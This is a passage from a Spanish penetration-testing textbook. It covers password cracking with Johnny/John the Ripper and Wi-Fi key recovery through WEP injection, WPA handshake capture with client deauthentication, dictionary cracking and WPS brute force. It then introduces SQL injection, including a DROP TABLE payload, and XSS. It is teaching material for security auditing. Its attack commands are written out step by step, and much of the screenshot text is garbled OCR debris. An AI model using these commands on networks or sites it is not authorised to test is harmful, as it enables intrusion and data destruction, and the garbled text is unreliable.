File Attack Passwords Help

Sl R R ¥ |H .

v ) v
Open password file  Open session Start new altack Resume attack. Pause attack  Guess password | Copy Export
Session details
Session name:
Input password files:

Current hash format; [A.uho detect  ~

Tip: Modiffed attack options come inte effect only when starting a new attack

mode

Default Single crack Wordlist Incremental Extemal Mask Markow Prince

Ceonsele log

With default behaviour John the Ripper will run single crack mode, then wordlist mode, then incremental mode. All attacks
will execute with default John eptions. For optimized attacks and better chance of yield choose a specific mode from abowe.

K

b “
Open password file

Inpu!

Statistics  Aftack

Console log =]

ﬁ Session details
Sesslon name:

S Single crack maode is the fastest mode. It uses uzer names, GECOS and other information with word mangling rules named
S "Single”.
i

Jehnny 00

File Attack Passwords Help

J . R . : H (.

Qpen session Start new attack Resume attack Pause attack Guess password | Copy Export

t password files:

Current hash format: -.Pa.uln detect

Tip: Modified attack opfions come inte effect only when starting a new attack

mode

Default Single crack Wordlist Incremental Extemal Mask Markev Prince

Use external mode, filter name: L
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Permite que caigan las claves mds faciles de forma casi instantdnea:

Johnny RN -]

-

File Attack Passwords Help

W ® T H .

v ¥
Cpen password file  Open session Start new attack Resume attack Pause attack Guess password | Copy Export
Filter I Select columns ~ Show only checked (1 Show only aracked
-p-,;;,,* User__‘" Password Hash Farmats. GECOS
e L Fpeps peped $6%cAUmSvC292. shaSlZerypherypt  16910:0:99995:7::
e 2 manole S$6Smutowl550anf..  shaS12eryptorypt 16810:0:99995: Tx::

$64EaKIDbGNS Ghe... shaSlZcrypt,crypt 16910-0:9999%: 70

El modo Wordlist es realmente un modo diccionario, pudiendo seleccionar
diccionarios externos, y reglas sobre los diccionarios:

Johnny NN -]

T HL

-

File Attack Fasswords Halp

L=

@
y

b " o ¥ U
Open password file  Open session Start new attack Resume attack Pauss attack Guess password | Copy Export
ﬁ Session detalls
Passwords Sassion name:
E Input password files:
I Current hash format; | Aute detect  ~
~4 I' Tip: Modified attack options coma into effect only when starting a new attack
all

Statistics  Attack mode
Default Single crack Wordlist ncremental External Mask Markov  Prince

Settings Wordlist mode uses data from a wordlist file. In addition to that rules can be applied, Section "Wordlist® would be used to

.L—' l mangle words with rules,
 cnncha o Wordlist file: 1 Browse | [ Loopback

| Use external mode, flter name:
) Use rules:

U Use Hybrid Mask made with mask =
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El modo Incremental corresponde con la fuerza bruta, pudiendo aplicar

mascaras, filtros y qué juegos de caracteres vamos a utilizar:

Statistice  Attack mode

Defalt Single crack Wordlist [ncremental Extemal Mask Markav Prince
Sattings

g Johinmy co0
File Attack Passwords  Help
Ty By
L e X " i} =
Openpassword fle  Open session | Start iew stteck  Resume sttack  Pause stteck  Guess password | Copy  Expert
@ Session details
Paswionds Session nama:
m Input password files:
T Current hash foorat: [Auto derect  ~
Options
I Tie: Modified attack aptions come nta effect anly when staring a new attack
all

=l

Comsole log

Incremental mode |z the moct exhaustive attack because it will try all pessible combnations. under the specified niles. Order of
trims i hased on frequencies of single charactecs, pairs and trigraphe, This attack can potentially run for a bong time, <o it should
be used sfver all other modes have been exhausted, Information sbout frequenches is taken from file called charzet Such files

are listed with names in configuration file. To specify a different charpet from the default toggle the afferent checkbox on and
specify name of desired charset.

. Charsst name:

Ll Use external mods, filter name:

| Use Hybrid Mask mode with mask:

Podemos incluir nuestros propios generadores, programados por nosotros:

=il

Setings External mode ks the most flexible cne because you can define your own code o generate candidates. Also you can create
1 fiteare to reduce smount of candidatec to try {cabd filters are available for s with other modes). There are predefined sxternal
8_‘ routnes in John's configuration file.
Coneole log

Maode name: I

171 Uza Hybrid Mazk mods with mask:

' i o0
Fila Attack Pacoworde Halp
T =™
« 7 g g i = H
Open pascword file  (Open sestion | Stat new attack  Ressme attack Pauge attack  Guoss passweard | Copy | Export
?ﬁ, Seision details
Pnn:md!: Sesnlon name:
Input passwerd files:
[l Currert hashformat: | Auto detect ~
| Dptions

Tip: Modified attack options come into effect only when starting a mew attack

Eeatgtics Attack mode

Default Shgle crack Wordlist Incremertal External Mask  Markov Prince




© RA-MA Capitulo 5. ATAQUES A CONTRASENAS 135

Tenemos un modo de mdscara, 1til cuando hemos “pescado” unos caracteres
al ver teclear la clave, pero no los tenemos todos:

fi Johnmy - NN -]
File Attack Paceworde  Halp
= =
L. - -4 . ! ! 3 H

Openpassword file  Open s=ssion Stect new atteck  Resume sttack  Pauss sttock  Goess pavaword | Copy  Export

O Session details
Passwards Sextion name:
m Inpat password files:
i | Cument hush Format [Auts detact
| Options

l epﬁml come Inte affect only when starting a naw attack
all

Stakctice  Artack mode

Default Sigle crack  Wordlist Incremental External Mask Madkov Prince

ﬁllﬂngt Mask made is a fast way to produce passward candidates given a "mask” that describes what the wards should Lok like. For
: wxample, the mask 7u?i7l will generate sl poccible thoolotter words, with firet charscter uppencsted and the fmmmining in
&1 lowercase, To 2z the right syntax to bulld your mask, refer tothe file calld MASK in Jtf jumba doc folder,

T Use eaternal mode, Slter name:

Ul Use rules:

Tenemos un modo predictivo, basado en cadenas de Markov, que funciona
muy bien para claves “aparentemente” aleatorias pero tecleadas por un humano:

Johnny e0Q
File Mtk Passwords Help
Ty t,.‘.
L - =1 ] ] ' H
Open password file  Open session Start now atack Resume attack  Pause attack  Giess paisword Copy  Expon
Q@  sessiondetals

Passwords Session name;
m Input password files:

g Current hash format: |Auto detect =

. Tip: Modified attack options core inte effect only when starting a new attack
el

Statistics  Attackmode

mwmm&mlmmmwpm

Settings Mhas&mldwmubwhnwud-lh:tngmncmmdhudwmucmph:dwﬂmhn-dw\nlgmur
prbr Uiknliness of ch feallawing <h . A full deserip of this mede and ks usage Is found in the JtR pmbe doe folder
| MARKGY document.

Cansole log

Mode (leave empty for default mode): r
Ll Use external mede, filier namae:

| Use Hybrid Mask mode with mask:

[ Minimasm Marke level: o 2
= Maximurm Harkor levet o s
O Start ndex: o 3
i End index: .
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Y finalmente, prediccion de claves por PRINCE:
' Johnny 000
File Attack Passwords Help
' o»
0 w " (H ﬂ : H \.
Open password fle  Open session Start new attack. Resume attack Pause aitack Guess password | Copy Expert
@ sesstondetails
Passwords Session name:
E Input password files:
el Current hash format: !Jurmdclect “
Tip: Modified attack options come inta effect only when starting a new attack
lHI
Statistics  Attack mode
Default  Single crack  Wordlist  Incremental External Mask Markov Prince
Settings Frince mode is a modern password quessing algerithm. Rather than taking as input two different dictionaries and then outpurting
51 all the possible two word combinations though, PRINCE only has one input dictionary and builds "chains” of combined werds.
H These chains can have 1 to N words from the input dictionary concatenated together,
Eeemsiclog Wordlst file: k Browse | L] Loopback
| Use external mode, filter name: 1 |
_| Use rules: |
) Use Hybrid Mask mede with mask: |
= Minimum number of elements per chain: o B
~ Maximum number of elements per chain: o =
. Inigal skip: o »

Utilizar Johnny es tan simple como entrar en “File”, seleccionar el fichero

con los hashes, y pulsar “Start new attack”:

m Filtsr

Select columns v

Passh Uzer o Paszword Hazh Formats
= ! Fpepe | SB5cALIMAISVC292  shaS12erypt,crypt
= 2 manolo S64mufowlS50anf..  shaSllcrypt.crypt

Crrons s & s $65EaKIDBGNSGhe...  shaS1Zeryptorypt
ol

Statistics

Sattings

Console log

Tehany oo
File Attack Passwonds Help
- = =,
“ i w8 w ?‘ H ' H |_..~’ -
Open password file  Open session | Startnew attack FResume attack  Pause awack  Guess password | Copy Export

| Show only checked || Show only cracked

GECOS
1691 0:0:90999: 7.
16910099099 T
1691000999997




AUDITORIAS A REDES WIFI

Las redes Wifi es uno de los aspectos cuya auditoria es mas importante.
Principalmente, porque no es extrafio encontrar redes desconocidas por los propios
administradores de sistemas; pueden caer sin muchos problemas, y ademas cuando
caen dan acceso a la red interna de la empresa, y con frecuencia sin pasar por ningun
firewall.

Es una buena practica a la hora de disefiar la red wifi, plantearla como si
estuvieran sus nodos en la DMZ; y poner un firewall de interposicion entre las
maquinas que se conectan por Wifi y las maquinas internas de la empresa. Sin
embargo, esto se hace muy pocas veces; por lo que el escenario habitual serd de
vulnerabilidad maxima de toda la red en caso de que la Wifi sea vulnerable.

Las redes Wifi, por otro lado, pueden llegar a ser realmente vulnerables.
Hay muchas cosas que se pueden hacer con una Wifi y que no cubriremos en este
libro: envenenamiento, o suplantar a un AP, son dos de los ataques mds frecuentes
y que no cubriremos. No vamos a entrar en eso por las restricciones de tiempo. Nos
centraremos en lo primero que debemos probar, y que nos dard un mayor retorno en
tiempo en caso de funcionar: obtener la clave de la Wifi.

Vamos a dejar fuera del libro también por razones de tiempo la auditoria de
otras tecnologias sin hilos, tales como RFID, NFC y Bluetooth. Kali trae herramientas
para hisqueda, andlisis y envenenamiento de estos dispositivos, asi como escaneo de
vulnerabilidades conocidas, pero no entraremos en ello.
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6.1 WIFIAUDITOR

Es relativamente frecuente, especialmente en domicilios particulares, que no
se toque la configuracion por defecto del router, ni se cambie la clave.

Un primer analisis que podemos hacer es buscar estos routers wifi, con las
claves “de fdbrica”. Es importante destacar que este método no suele funcionar.
Pero cuando funciona, la relacion entre costo y resultado es tan beneficiosa, que es
una muy buena idea hacerlo.

Dado que las WPA caen, pero tardan en caer aun con las claves por defecto
que acompafian a los routers Wifi de fabrica, es una muy buena idea intentar este
paso, aunque de entrada planeemos un ataque a las WPA.

Existen multitud de programas para teléfonos mdviles que hacen estas
pruebas, pero nos centraremos en uno para ordenadores, que es el WifiAuditor. No
forma parte de Kali, pero es fdcil de instalar y de ejecutar.

La pagina de WifiAuditor es:
http://www.wifiauditor.net/

WifiAuditor est4 en Java, por lo que podremos ejecutarlo sin problemas nada
mads descargarlo si tenemos una mdquina virtual Java. Lo podemos descargar desde:

http://wifiauditor.net/WIFIAuditor.jar
Y lo lanzamos con:
java -jar WIFlAuditor.jar

Obteniendo un listado de redes:

r@l ) WIFI Auditor [CAe]
Archivo Redes Manual Ayuda

Redas dispenibles: 15

Momhbre Contrasefia Conectar

=]
MOVISTAR,
MOVISTAR,
HP-FrirtE2 Fho...
MOVISTER,

AUTO OM

AL
OMOWF

Red Wi-Fi de .
aztel

] Conectar automaticament Auditar redes conectar

il
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Seleccionamos una de las redes, y puede ocurrir que obtengamos la clave:

Archivo Redes Manual Ayuda

Reces disponibles: 1

Nombre Confrasena Conectar
JAZZTEL b | i =]

[] Conectar sutomaticamente Aunditar redes | Conectar |

O que no haya suerte, y la red en concreto ya no utilice la clave de fabrica:

|Q| ! WIFL Auditor el ey
Archivo Redes Manual Ayuda

Redes disponibles: 0

MNombre | Contrasefia Conactar

e WIFI Auditor <2> = @

@ No hay ninguna red vulnerable disponible

[ ] conectar automaticamente Auditar redes conectar

Es importante que recordemos que WifiAuditor estd especializado en routers
ADSL o de cable con Wifi. No hace fuerza bruta, ni tiene una tabla rainbow. Ni siquiera
técnicamente podemos deducir que se trate de ataque por diccionario de claves; ya que
se limita a listar las redes que ha encontrado, a partir del nombre de la red deducir el
proveedor, y a partir del proveedor, el nombre de la red y la MAC del router generar
la clave por defecto que ha utilizado el proveedor de Internet en ese router concreto.
Da lo mismo que utilicemos WPA, y da lo mismo que la clave del proveedor sea muy
complicada. Sino se cambia la clave, va a caer con total seguridad.

Tal y como hemos comentado, en este andlisis puede caer la red de una
microPYME. Las empresas medianas, o las pequenas que no tienen personal
especializado, también pueden caer. Pero curiosamente las grandes también caen,
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pero por razones distintas: si tienen personal especializado que sabe la importancia
de cambiar las claves. Pero puede haber a algln listo que no le llegue la Wifi a su
despacho con la intensidad que quiere para usar su tableta, y enganche un router ADSL
viejo y lo ponga en cascada via Ethernet con la red principal. Lo que es tan sencillo
como enchufarlo y no necesita configuracion adicional habitualmente. Si la tableta ha
obtenido los pardmetros de red del servidor DHCP corporativo, para el router ADSL
viejo no dejard de ser una LAN en la que se limita a mandar los paquetes dénde le dicen
las tablas ARP. Este es solo un ejemplo de los que se pueden dar. También se puede dar
esto en sucursales y en franquiciados de empresas que tengan un sistema de sucursales
o franquicias, y que darian acceso via red al sistema de informacion.

6.2 CIFRADO WEP

El cifrado WEP es el sistema de cifrado que se ha utilizado tradicionalmente
para hacer seguras las redes Wifi. Lo de hacer segura una red wifi con WEP hoy
en dia tiene su punto irdnico. Sin embargo, debemos tener en cuenta que existen
administradores de sistemas que no conocen la diferencia entre WEP y WPA.
También hay routers y AP que se instalaron hace mucho tiempo, y que o se despidid al
administrador de sistemas y nadie recuerda que estd, o se instald de forma temporal,
y nadie se acuerda que hay un AP obsoleto en algtin sitio atin transmitiendo, o incluso
alguien se ha montado su AP propio bajo su cuenta y riesgo, o se lo ha montado a
un directivo peledn que no quiere plegarse a la politica de sequridad de la empresa.

El cifrado WEPya ha sido comprometido, por lo que no es seguro. Se ataca por
simple observacion —es decir, extrayendo los suficientes paquetes, el protocolo cae—; y
utilizaremos las herramientas air, que también se utilizan contra las redes WPA.

El primer paso para tumbar un protocolo Wifi es ver qué tarjetas Wifi
disponemos:

iwconfig

Lo que da una salida como:

= bash - Konsole 2l e

Archiwo  Editar Wer Marcadores Preferencias  fyuda
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Nos quedamos de esta pantalla con el nombre de la tarjeta ~wlp4s0 en
nuestro caso-. Ahora lanzamos el monitor, lo que hacemos con:

airmon-ng start dispositivo

Donde dispositivo es el dispositivo que vimos en el paso anterior. Hacemos
en nuestro ejemplo:

airmon-ng start wip4s0

Obteniendo:

= PR r—" R

= bash

i
—

Observamos el nombre del monitor que ha creado; en nuestro ejemplo,
mon0.

Ojo: a veces nos protestara porque tenemos varios dispositivos que usan el
interfaz que queremos analizar. Los “culpables” en Kali suelen ser habitualmente
los daemon NetworkManager, wpa supplicant y avahi-daemon. Los deberemos
matar con Kill para que no den problemas. airmon-ng ya nos indica los PIDs de estos
procesos problematicos.

A veces es necesario cambiar la MAC del monitor; en ese caso, primero
damos de baja el interfaz asociado al monitor:
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ifconfig mon0 down

Y después utilizamos el comando:

macchanger -m nuevaMAC interfaz

Donde nuevaMAC serd la MAC nueva, y interfaz al interfaz al que se la
queremos asignar. Por ejemplo, podemos cambiar la MAC de mon0 del valor que
tiene al valor 00:11:22:33:44:55:

macchanger -m 00:11:22:33:44:55 mon0

Obteniendo:

[ | bash - Konsals R

Archiwo  Editar “Wer Marcadores Preferencias  Ayuda

Y volvemos a subir el interfaz:

ifconfig mon0 up

Obteniendo:

= bash - Kansalz RN
fArchivo  Editar Ver Marcadores  Preferel

- | bash
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Cuando ya lo tengamos todo listo, es el momento de comenzar con el
volcado. Primero hacemos un escaneo para ver las redes disponibles:

airodump-ng interfaz

En nuestro ejemplo, seria:

airodump-ng mon0

Al cabo de un tiempo, obtendremos algo como:

= bash - Konsolz ]
Archiwo  Editar  Wer Marcadores  Preferencias  Ayuds

B bash B

Aqui nos van a interesar los BSSID -primera columna, que estd borrada en la
captura por razones obvias- y el canal -sexta columna-. Esperamos un rato, y cuando
ha aparecido la red WEP que queremos “cazar”, ya podemos parar con Ctrl+C.

El siguiente paso serd comenzar la captura de paquetes:

airodump-ng -c canal -w fichero --bssid direccion interfaz

Donde canal corresponde con el nimero de canal —sexta columna—; fichero,
con el fichero donde grabaremos los datos capturados. El valor direccion corresponde

con la direccion BSSID -primera columna- e interfaz, el interfaz desde el que
estamos monitorizando. En nuestro ejemplo, habriamos hecho:
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airodump-ng -c 3 -w fichJaz.cap --bssid teloheborrado:77
mon0

=1 bBash - Kensole i,
Archive Editar “er Marcaderes Praferencias  Ayuda

Obteniendo:

=] airacumpg - Kansole v B K

Archivo Editar ‘“ar Marcadores Praferenoas  fyuda

sl @ airodumpg x
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Sin cerrar el terminal anterior abrimos uno nuevo; y en el nuevo terminal
vamos a asociar nuestra tarjeta de red al BSSID. Esto lo hacemos con:

aireplay-ng -1 6000 -a BSSIDmac -h miMAC interfaz

Donde BSSIDmac es la MAC del BSSID, miMAC es la MAC del interfaz
monitor, y interfaz es el nombre del interfaz monitor; lo que en nuestro ejemplo seria:

aireplay-ng -1 6000 -a teloheborrado:77 -h 00:11:22:33:44:55 mon0

] -h 00:11:22:33:44:55 man
B Waiting for I on channel L

Salvo en redes con muchisima carga de gente entrando en la red
constantemente, lo que no serd el caso, asi nos tiraremos un par de vidas. Sin
embargo, podemos acelerar el proceso haciendo:

aireplay-ng -2 -p 0841 -c FF:FF:FF:FF:FF:FF -b BSSIDmac -h miMAC interfaz
Donde BSSIDmac es la MAC del BSSID, miMAC es la MAC del interfaz

monitor, y interfaz es el nombre del interfaz monitor; por lo tanto, en nuestro ejemplo
seria:

aireplay-ng -2 -p 0841 -c FF:FF:FF:FF:FF:FF -b teloheborrado:77 -h 00:11:22:33:44:55
mon0

Aqui es ddonde realmente estamos atacando la red. Nos va a terminar
preguntado si queremos usar un paquete que ha encontrado. Estos son los paquetes
que realmente vamos a aprovechar. Pulsamos y, y luego la tecla enter:

-¢ FF:FF:FF:FF:FF:FF -b
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Una vez que hemos capturado al menos un paquete titil, es el momento de
mirar si ya tenemos suficiente para encontrar la clave. Para hacer esto sin cerrar las
dos terminales anteriores —que estardn trabajando de forma continua-, abrimos una
tercera terminal; e introducimos el comando:

aircrack-ng -z nombredelared..cap

Donde nombredelared es el nombre de la red que estamos atacando; asi
aprovechard todos los archivos generados, que tienen un nombre que comienza por el
nombre de la red que estamos atacando, y el nombre termina en .cap -aireplay-ng usa
ese criterio para volcar los paquetes Utiles—. Si tenemos suficientes [Vs, la clave cae:

Si no hay suficientes IVs es tan simple como esperar a que airodump-ng en
la primera terminal obtenga mds IVs y lo volvemos a intentar pasado un tiempo. Pero
Caer, Cae.

6.3 WPA/WPA2

WPA y WPA2 son los protocolos que de entrada deberian usar todas las

Wifi para tener un minimo de seguridad. Esto no significa que no caigan; sino que a
diferencia de WEP, WPA y WPA2 no caen de forma instantdnea.

Dentro de los tipos de autentificacion que soportan WPA y WPA2, la
unica que cae de forma automatica —que no instantdnea— es la autentificacion por
claves compartidas —pre-shared keys, o PSK-. Si la red emplea otro mecanismo de
autentificacion, no va a caer con tanta facilidad atacando el cifrado de la red.

Ojo: por muy segura que sea la red, y aunque empleemos sistemas de
autentificacion distintos del PSK, una red Wifi siempre puede caer por WPS. Si
alguno de los AP de la red tiene WPS activo, 1o normal es intentar un ataque a WPS;
o bien teniendo acceso fisico al AP si soporta la transferencia de claves por USB. Si
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el AP intercambia credenciales via PIN, cae por fuerza bruta con las utilidades ya
comentadas en temas anteriores. Intercambio por PBC tambi€n es factible si tenemos
acceso fisico al AP y podemos pulsar el boton.

Hay una utilidad especifica para WPS, que se denomina reaver, y que tiene
la sintaxis de uso:

reaver -b ESSID -i interfaz -vv

Donde inferfaz es el interfaz Wifi, y ESSID es el ESSID del AP. Podemos
anadir -K 1 si queremos que haga un ataque Pixie Dust. El ataque Pixie Dust acelera
muchisimo el ataque contra Ralink, Realtek, y Broadcom. El ataque Pixie Dust
también lo podemos hacer con la utilidad pixewps que también acompana a Kali
-pero, a diferencia de reaver, pixiewps solo hace Pixie Dust-.

Si hay WPA o WPA2 y ningtn AP soporta WPS, como hemos comentado,
analizamos el tipo de cifrado. Como hemos dicho, en ese escenario de WPA o WPA2
y no WPS solo es posible atacar la autentificacion PSK. Sin embargo, hay otra
mala noticia —especialmente si ya hemos probado con qué facilidad cae WEP-. En
WEP hemos podido inyectar paquetes para acelerar el proceso, recogiendo IVs y
utilizando las limitaciones de WEP para extraer la clave con facilidad de los IVs.
WPA y WPA2 no comparten con WEP estos defectos de disefio, por lo que la tinica
forma de atacarlo es por fuerza bruta, diccionario de claves o tablas rainbow.

Como en el caso de WEP, comenzamos parando el interfaz:

airmon-ng stop ath0

Con el resultado de:

[ | bash - kansols LIRS

Archiwo  Editar “Wer Marcadores Preferencias  fyuds
[root@localhost /]# airmon-ng stop ath@
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Ahora vemos cual es realmente el nombre del interfaz Wifi en el que vamos
a conectar el monitor:

iwconfig

Obteniendo algo como:

B * hash - koansols 2l 2 s

fArchive  Editar Wer MWarcadores Prefsrencias  fyuda

= : bash

|>|'

El siguiente comando serd arrancar el monitor:

airmon-ng start interfaz 9

Lo que en nuestro caso sera:

airmon-ng start wip4s0 9

B »-bash - Kansole CoV IR )
M

Comprobamos que hemos entrado en modo monitor, lo que hacemos con:

iwconfig

Debemos obtener algo como:
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[ | : bash - Kansole >

Archiwo  Editar  Ver Marcadores  Preferencias  fyuds
1# airmon-ng

De aqui extraemos el nombre del monitor; en nuestro caso serd mono.

Ahora comenzamos el volcado, lo que haremos con:

airodump-ng interfazmonitor

Lo que en nuestro caso sera:

airodump-ng mon0

Obteniendo:

1 Airndump ng - Kansele w O
Archivo  Editar Ver Marcadores Preferencias  Syuda

. + slradumpng = |
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Llegados a este punto debemos esperar un tiempo prudencial. Para una
auditoria de seguridad con test de penetracion, nos interesa mirar la columna ENC.
Aqui nos interesan solo las redes WEP; asi como las redes WPA o WPA2 que
tienen autentificacion via PSK. Las demds no podemos penetrarlas. Las de WEP
las hacemos con el método que ya hemos comentado. Las WPA o WPA?2, las PSK.
Escogemos las que queramos auditar. Damos preferencia, como hemos comentado,
a las redes que por el nombre podamos deducir que han sido anadidas por usuarios
y estén fuera del control de administradores del sistema, redes obsoletas, o redes de
desarrollo, y que tenga clientes conectados. Una WPA o una WPA2 con una buena
clave que se cambie con cierta frecuencia podemos considerarla infranqueable a
efectos prdcticos -salvo ingenieria social-. El que tenga cliente conectados lo vemos
en la columna STATION. Sin clientes conectados, tendremos poco que hacer salvo
fuerza bruta completa.

Lanzamos el programa de volcado:

airodump-ng -c 1 --bssid macBSSID -w file interfazmonitor

Donde macBSSID es la MAC del BSSID, e interfazmonitor el interfaz que
hemos deducido a través de iwconfig. En nuestro ejemplo concreto haremos:

airodump-ng -c 1 --bssid F8:quetelovoyadeciryo -w file mon0

Obteniendo algo como:

> . s airedump-ng - Kansale )&

fArchiva Editar “er Marcaderes Preferencias  Ayuds

Lo dejamos un rato, y vemos cdmo tenemos clientes conectados.

Ahora debemos escoger uno de estos clientes, y “echarlo” de la red.
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Primero vemos lo que estd pasando en la red:

airodump-ng mon0

Escogemos de entre los que tienen BSSID el que queremos comprobar, una
de las entradas en la columna STATION, que corresponde con los clientes:

> | s alredump-ng - Kansale R
Archiwo  Editar Wer Marcadores Preferencias  fyudas

= + bash l a i airodump-g 1 =1} + arodurmp-ng

J:‘:

Y ahora toca “echar” de la red a un cliente con:

aireplay-ng -0 1 -a macBSSID -c macCliente interfazmonitor

Donde macBSSID es la MAC del BSSID, macCliente es la MAC del cliente
que vamos a echar, y que escogemos de la columna STATION, e interfazmonitor
el interfaz que hemos deducido a través de iwconfig. En nuestro ejemplo concreto
haremos:

aireplay-ng -0 1 -a F8:quetelovoyadecir -c 38:elotro mon0

Teniendo como efecto que ya no esta autentificado, y que necesitaria
autentificarse de nuevo para poder:
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= | : bash - Kansole V]

S | >} i bash -1 ; ai-r-udump-ng &= : bash I N

Y ahora viene el ataque de aircrack-ng, que utiliza un sistema de diccionarios.
En principio, Kali trae un diccionario bastante bueno -el rockyou-; que podemos
obtener desde la propia Kali haciendo:

gunzip /usr/share/worldlists/rockyou.txt.gz

Accediendo mediante la ruta /usr/share/worldlists/rockyou.txt al susodicho
diccionario.

También podemos extraer también un diccionario bastante bueno de la
pdgina web de Aircrack:

https://github.com/aircrack-ng/aircrack-ng/blob/master/test/password.Ist
También podemos utilizar el diccionario de 13 GB de Wi-foo-er:
http://pastebin.com/kk0Qfw67

Este diccionario, como muchos otros, tiene muchas palabras duplicadas;
por lo que es sensato para acelerar el proceso eliminar las duplicadas. Lo que tarda
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bastante, pero luego acelera mucho mas el proceso de encontrar la clave. Eliminamos
los duplicados de cualquier diccionario con:

sort diccionario | uniq -u > diccionarioU

Donde diccionario es el diccionario del que queremos eliminar los duplicados,
y diccionarioU el diccionario con los duplicados eliminados.

Una vez que tenemos ya listo el diccionario, el comando para encontrar la
clave lo lanzamos desde otra consola de texto, y es:

aircrack-ng -w diccionario -b macBSSID file..cap

Donde diccionario es el diccionario de claves que vamos a emplear; y
macBSSID es la MAC del BSSID. En nuestro caso concreto,

aircrack-ng -w password.Ist -b F8:8E:85:FF:36:B2 file,.cap

Como resultado de este proceso, que tarda —especialmente con diccionarios
grandes-, podemos no tener ninguin handshake en nuestra bisqueda:

: bash - Kansale AN

Marcadores  Preferencias  Ayuds
i ng -w p rd.lst

= [ > i bash = : @iredump-ng 1] i bash a : bash a
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O podemos tener €xito:

= : bash - Kansole 2 e i
fArchiwo  Editar Wer Marcadores  Preferencias  fyuds

fircrack-ng 1.2 rcl o

soFl

[>] : bash =B s alredump-ng =] s bash = . bash

J’"

Podemos por curiosidad observar la salida del comando:

airodump-ng -c 1 --bssid macBSSID -w file interfaz

Donde macBSSID es la MAC del BSSID, e interfazmonitor el interfaz que
hemos deducido a través de iwconfig —que estaba corriendo en segundo plano— ha
encontrado el handshake.

En nuestro ejemplo concreto, observaremos con:

airodump-ng -c 1 --bssid F8:quetelovoyadeciryo -w file mon0

Ha detectado el handshake:
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= : bash - Kansole
Archivo  Editar Wer Marcadores Preferencias  Ayuds

ack-ng 1.2

soFl

bash ] : bash x|

= : bash = ¥ al_r.r_s.qgmp-n T







AUDITORIAS A APLICACIONES WEB

Las auditorias a aplicaciones web podemos enfocarlas desde dos enfoques
no mutuamente excluyentes: el primero, identificar software instalado —Wordpress,
Drupal...- y si no estd actualizado, aplicar las vulnerabilidades conocidas. El
segundo, conocidas determinadas vulnerabilidades -principalmente, la inyeccidn
de SQL y el XSS—, intentar identificar si en algin momento el sitio web es
vulnerable.

El primer enfoque es el mds barato -para nosotros, y para el cliente-, y
la mayor parte de los presupuestos se van a quedar ahi. El sequndo enfoque es
exhaustivo, pero supone reauditar mucho cddigo, especialmente en paquetes ya
desarrollados; y en determinados paquetes encontrar ya una vulnerabilidad de este
tipo no es trivial.

En este libro nos vamos a centrar por razones de tiempo en el primer enfoque.
Ademads, porque es el que normalmente nos contratardn por razones de precio. Sin
embargo, primero explicaremos cdmo funcionan las inyecciones de cddigo y el XSS.

7.1 INYECCION SQL

Una inyeccion de SQL consiste en aprovechar un error comin de
programacion: se “monta” el SQL concatenando una variable sin asegurarnos que
la variable contiene lo que esperamos. Se entiende mejor con un ejemplo cldsico.
Supongamos que tenemos la linea de cddigo:

$sql="SELECT . FROM usuarios WHERE nombre = '".$usuario."’;"
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Y que no hemos verificado que la variable $usuario contenga un usuario
valido. Supongamos que $usuario se lee directamente de un formulario HTML.
Nada evita que en el formulario tecleemos la cadena:

medaigual’; DROP TABLE usuarios;

Cuando se ejecute la sentencia indicada, lo que realmente estaremos
asignando a la variable $sql es:

SELECT . FROM usuarios WHERE nombre = 'medaigual’; DROP TABLE usuarios;

En cuyo caso, estaremos eliminando la tabla de usuarios entera, y saboteando
el sistema en remoto. Aqui la creatividad no tiene limites: se pueden afiadir usuarios
con privilegios inyectando un INSERT; se pueden borrar usuarios especificos, anadir
facturas, identificar informacion del modelo de datos de la base de datos, forzar al
propio servidor web a actuar como pasarela y atacar otra base de datos distinta... se
pueden hacer muchas cosas.

Esimportante que entendamos que los casos no son tan sencillos habitualmente
en codigo de software libre asentado -tipo Wordpress, Drupal...-. Este error se suele
dar en plugins mal programados, y en cédigo propio que se hace deprisa y corriendo
en PHP de cualquier forma para resolver un problema puntual, y que se “queda
ahi”. Por ello, los exploits por inyeccién SQL los buscaremos sobre todo en cddigo
desarrollado por la propia empresa, por gente de sistemas, en servidores internos. Y
no se buscarad tanto la posibilidad de sabotaje, ya que con frecuencia es cierto que
se conecta a una base de datos intrascendente, sino intentar inyectar SQL que nos
permita acceder a otra base de datos almacenada en el mismo servidor, y que si que
puede que tenga interés estratégico. En este tipo de cddigo merecerd la pena, por
lo tanto, al menos probar si el ataque via inyeccion SQL es factible, aunque no se
pretenda analizar c6digo, sino solo verificar de forma experimental si es trivialmente
explotable.

En cddigo en produccion es complicado encontrar este tipo de inyecciones
simples; ya que con frecuencia se filtran determinados caracteres sensibles; como
“g, e e« op” “#” [ o/, por poner algunos ejemplos. Sin embargo, para ser
estrictos habria que buscar via expresiones regulares y escapar o eliminar todo lo
que no proceda cada vez que se “monte” una sentencia SQL; lo que no se suele
hacer. Por ello, la auditoria pasa con frecuencia por rastrear a partir del cddigo fuente
las variables que se utilizan en un punto hacia atrds, buscando a ver si hay alguna
forma no trivial de inyectar SQL. Esta es la mecdnica que se utiliza para auditar
aplicaciones como Wordpress o Drupal, por poner ejemplos.
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La inyeccion SQL no se hace solo a través de los formularios. Se puede
hacer -y se hace- a través de cualquier pardmetro que se pase por GET o por POST.
También se puede hacer a través de las cookies. Cualquier cosa que el cddigo que
se ejecuta en el servidor concatene con cadenas para montar sentencias SQL es
potencialmente explotable para hacer inyeccién SQL.

1.2 XSS

XSS -Coss-Site Scripting- es una vulnerabilidad por la cual se inserta
cddigo de script ~habitualmente JavaScript- en pdginas web remotas, para conseguir
robar informacion. A diferencia de la inyeccion SQL, el XSS es conceptualmente
complicado; ya que requiere conocer bien programacion web y JavaScript para
poderlo utilizar de forma eficiente.

El concepto detrds del XSS es que la politica de sequridad habitual es que
el servidor confia por defecto en el contenido del propio servidor. Por ello, si se
puede forzar al servidor a ejecutar cddigo no propio creyendo que es propio, se
puede utilizar el ataque, entre otras cosas, para extraer informacion. El cddigo
inyectado, de hecho, puede permitirnos mostrar informacidn y alterar informacion
que tenemos privilegio para ver y alterar, y que no podemos ver o alterar porque
el interfaz no nos lo permite. También podemos mediante técnicas de ingenieria
social hacer que otro usuario abra una ventana del navegador con la aplicacion y
la vulnerabilidad XSS explotada, permitiéndonos que desde su navegador, su IP
y su nivel de privilegios se hagan cosas que su interfaz no soporta —aunque tenga
privilegios para hacerlas-, y que nosotros seguro que no tenemos privilegios
para hacerlo. Los XSS son ttiles para que teniendo cuenta valida en el sistema,
podamos obtener un listado de usuarios de la base de datos. O para obtener
volcados completos de tablas. O para que el sistema nos mande a una direccion
de correos privada en otra jurisdiccién un correo electronico con un volcado de
